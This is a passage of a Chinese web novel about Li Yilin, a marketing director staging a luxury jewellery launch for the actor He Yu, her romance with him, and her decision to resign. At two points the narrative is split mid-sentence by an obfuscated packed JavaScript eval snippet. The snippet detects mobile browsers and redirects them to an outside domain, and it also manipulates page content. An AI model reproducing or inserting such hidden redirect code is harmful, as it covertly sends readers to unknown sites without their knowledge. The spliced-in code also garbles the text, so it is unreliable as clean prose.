伊林走向展台跟她打招呼，戴晓娜把活动公司项目经理叫来过一遍整体流程。因为要重现TVC中的精灵之境，厅内装置需要先搭建轮廓，再进行花艺铺设。今日需要完成的基础搭建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459268|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已完成70%，到夜间会完成整体轮廓。花艺师会在之前的确认风格里，根据现场最终搭建效果快速完成终稿设计，并在明日凌晨完成所有工作。 需要展示的高级珠宝已在银行保柜，27日早间由最高安保运送至活动现场。明天下午何屿来彩排，李伊林需提前将指定他佩戴的皇室胸针运送至场地，请他与礼服适配并试片。完成之后珠宝需再回到保柜，次日活动开始之前再取出。 下午工作告一段落，伊林请晓娜吃了晚餐。之后她去备用办公室开媒介日会，解决周五未完成的扯皮问题。一场迫在眉睫又毫无意义的会又开了三个小时，伊林再一次觉得疲累无比。 最终，她打断了王景星团队的长篇大论，以重点城市媒介点位曝光量正相关品牌所需曝光量的计算方式平均分配，结束拉扯。合上电脑看向手机，已是晚上十点过半。伊林只想快点回家。 与晓娜告别驱车回到庭院，一楼大厅只亮一盏角落纸灯，意味着何屿已经回来了，或许在二楼冲澡。 伊林缓慢走上二楼。这份被杂事与人际充斥翻滚的臃肿工作，正在将她吞噬。每一天的下班时光，都是她奋力脱出这副重壳的过程。然而现在的她感觉到，这些奋力脱出的动作正在衰减。那副壳正透过情绪暗影，牢牢附着在她身后。此时此刻，那些暗影正在涨潮，淹没她的肩头、脖颈、下颌…… 她推开纯白色的主卧木门，暖光浸润。何屿盘腿坐在大床上看剧本。听到声响他抬头看她。那双漂亮的眼睛稍稍弯起来，健康的粉色薄唇亦因此有了弧度。“回来了。”纯净美丽的人开口唤她。 李伊林走向光里的人。那些纠缠不去的暗影退回到她的身体之外。一步，又一步。她带着某种渴望，将他扑倒在自己身下。而他用拥抱接纳她。 这种亲密让她战栗。她从未惧怕孤独，甚至习惯将它等同自由。但是如今却不再是了，她已无法想象没有何屿的庸常黯淡。 “……伊林。” “嗯。” “工作有哪里不顺么？” “……没有。只是讨厌而已。” “……我还以为你是工作狂。” “曾经是吧。” “现在不是了？” 伊林耍赖一般趴在他的胸口，去听他蓬勃有力的心跳。 “……嗯。不是了。” 此时此刻，她拥有它。这就够了。 “做完你的代言官宣，我会辞职。” 身下的人似乎颇为惊讶。他松下手臂，将伊林放在自己身边，与她面对面侧躺着。 “……为什么？” “不想再浪费时间。”她直视进他的眼睛。“我想做回老本行。” 听闻此言，何屿笑了。那笑容纯真可爱，是发自肺腑的愉悦。 “你的决定是正确的。”他说。 是吗？伊林在心中默默反问。失去攀爬至此的职业定位，失去稳定收入，失去与可与他人界定自我的社会归属，回归一无所有的无名之人。这是否是不负责任的头脑狂热？ 她没有何屿一般的财富与家族根基。一旦选择向下，等待前方的只有虚空。 但是此时此刻，她不再让自己继续想下去。 “希望吧。”她又抱了一下他，再起身。“我去洗澡。”看到躺在床上、秀色可餐的他，伊林没有忍住，俯身亲他一下。她又想起了昨晚的事，忽然觉得想笑——现在的李伊林与何屿，能算是确切的□□关系了么？ 走下床铺，关上木门，伊林将自己扔进热水中。生平第一次，她沉溺于流水一般不稳定的甜蜜感情里。今年她就要迈入35岁，是在国内职场要被“优化”掉的年纪。35岁的她即将辞去高位，走向没有稳定收入却能百分百遵从本心的生活。这是值得的吗？ 何屿的出现，为她带来另一条命运。她的感情重新被点燃之后，就再也忍受不了庸常。她从来没有停止过怀疑和自控，但依然一步一步，走入名为何屿的温暖陷阱。现在的她，已经走到了完全放任自己为他所用的地步。 这其中暗含的危险是十分巨大的。而更可怕的是，李伊林心甘情愿。 34. 第 34 章 34 34 周日早上醒来，何屿依旧睡在身边。厚重窗帘阻挡光线，有种不知今昔何夕的时空倒错感。 伊林伸手搂住身边人，闭上眼睛又赖了一会。然后她强迫自己醒来，去看墙上的方形电子钟。 9:16.仔细去听，窗外有淅淅沥沥的雨声。室内尚无阴冷潮湿感，应该是刚开始下。 伊林轻轻起身，摸起手机走下床铺。床上的人有些不满她的离开，但也只是稍稍翻动。他没有醒来。 蹑手蹑脚走出主卧，伊林在次卧冲好澡，坐在窗边木桌打开工作电脑。几个工作群跳出进度更新，她一一点开看了。深夜4点，晓娜发来已经完成的大轮廓装置，同时列清楚今日的所有工作时间表。 她回复她辛苦了，再去仔细看装置的各个角度。尽管与设计图稍有出入，但与现场完美契合。伊林能够想象花草覆盖后的样子。像她曾经花费漫长时间前往的瑞士小镇，透支般的长途行程之后，在睡眠充足的早上起来推开木屋窗户，扑面而来的纯净山谷花朵烂漫，远方湖面蓝得令人心醉。 那时的她独自一人，远离尘嚣，在陌生之地切断所有联系。那个瞬间曾经保有着李伊林的渴望与想象——她对未来生活的最好规划，是用尽心力以实际成绩向上攀爬，拿到她力所能及的一切金钱回报，在被淘汰的年纪拥有丰厚物质，远走他乡，休憩隐居。 在她憧憬的未来里，从未出现过另一个人。年轻时的几段恋爱经历让她清晰认知自我：她不能长久与另一个人共享空间。对她来说，爱情不过是短暂的激素与化学反应，最初的激情过后，存在的不过是忍耐。长时间配合他人的时间步骤、饮食喜好、闲暇安排、社交活动，只会让她觉得越发拖累。年龄递增，孤独越发成为享受。年轻时企盼另一个人所能给予的归属与慰藉，越来越被证明不过是各类浪漫电影小说营造的商业糖精。伊林逐渐发现被种种普世描述覆盖的真相：只要有钱有闲，人类更喜欢自己待着。 这宛若仙境的装置轮廓，是为何屿布置的。他闯入伊林的生活，打破了她在年岁与经历中，抽丝剥茧为自己规划好的未来图景。 曾经他只是生活在李伊林所处世界的另一端，更像只存在于屏幕与画面里的，不真实的定式形象。但是现在，他与伊林共享餐桌，共享床铺，互相倾诉，彼此接纳。 他闯入并占有了她的思维，这是他的有意为之。他如清泉般洗去了她为自己建立的护身城堡。建造这座城堡，她用了八年时间。 全然陌生的内部情感生长着，柔韧破除坚固城墙。那些砖石内部，是一次又一次对自我、他人与世界的辨析，怀疑，与审视。它是完全理性的，是为抵御风险而生的。 伊林本以为这城堡坚固无比，她没有想到，她的八年时间，会在遇见何屿的短短一个月内，全然坍塌，丢盔卸甲。 伊林收回思绪，将精力固定在工作上。处理完群内信息，她听到主卧传来声响。何屿起来了。 伊林合上电脑，看向窗外阴雨。庭院大门被打开，一辆红色小车驶入，应该是年轻的张姓厨师。 这是完全不属于她的生活。远离人潮与噪声的独立庭院，专业有素的管家与帮佣体系，生活中琐碎烦闷的部分均被人接管，它们托举着庭院主人的纯粹自我。 敞开的白色木门被敲响，伊林转身去看。是头发稍稍带着潮气的何屿。 “……伊林，下楼去吃早餐？”他的声音带着些许喑哑，很性感。 “好。”她起身向他走去。 吃好早餐，方华来与伊林和何屿开会，工作室传播组在线上接入。今日凌晨会有20个头部app的全量开屏，社媒类、新闻类、消费类、视频类、生活类均有涵盖。传播组会实时监控线上舆论，为明日何屿官方账号全面发布代言信息作保障。社媒内除了利希斯安排的头部账号同时发布，何屿工作室亦安排大量娱乐生活类账号带动热搜，同时亦有时尚类媒体撰写专业文章，分析硬奢品牌与演员何屿之间的互相成就。 这是何屿近七年来首次代言，尽管演员本人没什么硬性要求，但方华作为顶尖经纪人，要利用此机会将自家演员的商业价值拉至顶级。整场线上会议何屿参与的部分越来越少，伊林察觉到，对于这些无所不用其极的商业营销手段，他神态游离，甚至会在一些夸赞词汇上面露不屑。但他一次都没有打断过方华。他不喜欢，但是接受。 会议的最后一个环节，是森林系列在全国门店以及电商平台的售卖计划。线下城市旗舰店均将店外大屏更换为何屿森林系列硬照，商场内大屏点位同步跟上，辅以门店SA渗透新客老客；线上旗舰店推行限时分期免息，同时配有电商平台超级IP开屏资源，官宣首日全店成交额定为5000万起。 何屿一早解散了粉丝后援会，也从不养粉头、站姐。目前看来，何屿的粉丝团体购买力未知，成交额大多靠品牌发力。但伊林内心明白，以何屿的国民级影响力，官宣之后，爆品出现几率极高，而爆品带动的成交并非仅是一时爆发，还会显示出长尾效应。李伊林离职后，这些都会算作王景星的功劳。 尽管为何屿项目倾尽的所有心血，都会变成他人攀登的基石，但伊林不会因此怠慢。她依旧希望藉由此次大规模曝光，为何屿带来五年沉寂之后的再一次集体记忆唤醒。尽管他本人并不在意，但在国内环境中，商业价值亦是演员综合实力的某种体现。她想籍此证明一件事：无论从何种价值维度，何屿都是独一无二，永无替代的存在。 传播结构与销售计划细细对完，方华留下来吃了午餐。伊林先去文华酒店盯现场，何屿会在下午5点去现场做彩排。媒介最后一场投放细节追踪会在大宴会厅开，所有品牌参会人员均会到达活动现场。想到品牌团队联合起来指指点点，伊林已经开始头痛。 到达大宴会厅是下午三点。推门进入的一瞬间，伊林停下脚步。花艺师不仅在轮廓上再造花园，还用人造纤维制作了透视型山谷湖泊。地上全部使用灯光投影制作草地，装置里的重点花卉亦配备灯光效果，搭配清新香氛，是超出伊林期待的世外桃源。 晓娜依旧在忙。与近乎完美的置景不同，她没有化妆，架了一副黑框眼镜遮挡黑眼圈，长发随便扎了丸子头，格子衬衫牛仔裤也像是随便捞起来套上的。 从超出预期的现场完成度，可以看出项目负责人对这份工作的全情投入。李伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459269|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林看着与花艺师交谈的魏晓娜，这位下属在短短三年内做到了创意敏感与审美格调的全面提升。从她的业务能力，责任感，敏锐度，人格魅力综合来看，她会是现存传播组里，最适合晋升总监，带领团队向前走的人选。 “Serena.”她向晓娜打招呼。“Eline.”晓娜回应她。在传播组，中英文名会被混叫，关系好的经常喊着对方中文全名互相埋汰、开开玩笑。 她们是长期一起奋斗的伙伴，除了CMO安插进来的个别人，伊林招进来的都是在某一方面有长板的优秀职场人。在这四年间，他们一起实现了很多梦幻想法，也从彼此身上学到很多。直到去年8月，招伊林进来的前CMO移民出国，徐嘉理空降利希斯，将决策权、预算权从品牌与职能团队全部收回，由他全权控制分配。由此，整个市场团队的氛围开始发生改变。所有直接向CMO汇报的总监、VP都必须顺着他个人的思路走。因为预算不再按照团队计划，变为按照徐嘉理喜好临时挪动，大市场部由之前的各司其职、井井有条，变成了现在的明争暗斗，黑暗丛林。 这些内耗让传播团队从之前的鬼马出挑，走向保守沉默。伊林切实感觉到团队的气氛变化，所以希望借何屿代言项目重振士气，为团队挣得好成绩，为个人获得晋升或涨薪机会。 但她没有想到，在新的团队氛围下，李伊林及其非“嫡系”团队的出彩表现，只会让新来的上位者倍感威胁。而何屿项目一次又一次的顺利推进，让她所形成的威胁更甚——如果李伊林“抢”走了嫡系王景星的晋升名额，徐嘉理想要培养内部势力的想法就会被搁浅。而李伊林向来不站队，她升得越高，造成的威胁越大。 为了让整个部门为他掌控，一直单打独斗、“不服管教”的李伊林，成了必须被枪打的出头鸟。 历经职场多年，这种境况并不陌生。只是这一次，伊林感到前所未有的疲累。她不想再玩这个游戏了。 与晓娜过完现场细则，已是4点40.还有二十分钟，何屿就会来彩排。伊林习惯性去看手机，却看到屏幕中提示的银行卡大额资金汇入提醒。同时她收到方华微信，说明此笔金额为何屿工作室主动赠予。 这是与何屿签订睡眠合约中，这位男演员许诺下的陪伴报酬。伊林看着手机发愣。如此轻易得到钱财，她应该高兴才是。但她的感受却完全相反。 那些生长在床铺之中的温暖情愫，原来都只是金钱交易。她提供陪伴，他给予报酬。一直以来，他都在把她当成商品购买。 大门被推开，李伊林听见有人唤她的名字。是刚刚发给她信息的方华。在她身边，是穿着便服、戴着鸭舌帽的何屿。 这位出现在众人之前的大明星面无表情，跟在经纪人身边。此时此刻，他与李伊林见过的所有明星并无差别。在镜头之外，他们傲慢，冷漠，习惯于所有人的迁就。只要摄影机工作信号亮起，他们就会马上变脸，亲切，真诚，平易近人，人美心善。 伊林调整好自身情绪，微笑走向方华。握手，寒暄，亲力亲为，跟前跟后。李伊林完全进入角色，扮演好一个八面玲珑的市场总监。 她自始至终，不看何屿一眼。